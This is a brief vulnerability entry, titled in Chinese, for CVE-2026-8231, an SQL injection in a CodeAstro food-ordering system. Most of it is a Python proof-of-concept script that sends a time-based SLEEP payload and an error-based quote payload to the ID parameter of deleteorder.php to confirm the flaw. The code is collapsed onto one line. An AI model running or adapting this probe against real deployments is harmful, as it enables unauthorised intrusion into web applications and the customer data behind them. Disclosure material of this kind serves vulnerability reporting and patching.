CVE-2026-8231 CodeAstro订餐系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target.com/deleteorder.php" # SQL Injection Payload Test # Attempting to cause a time-based delay or syntax error to confirm vulnerability # Example Payload: 1' OR SLEEP(5)-- - payload = { "ID": "1' OR SLEEP(5)-- -" } try: print(f"[+] Sending request to {target_url}...") response = requests.get(target_url, params=payload, timeout=10) # Check if the response time indicates a successful sleep execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected via timing, try error-based payload.") # Fallback payload for error-based detection error_payload = {"ID": "1'"} res_error = requests.get(target_url, params=error_payload) if "sql" in res_error.text.lower() or "syntax" in res_error.text.lower(): print("[+] Potential SQL Syntax Error detected in response.") except Exception as e: print(f"[!] An error occurred: {e}")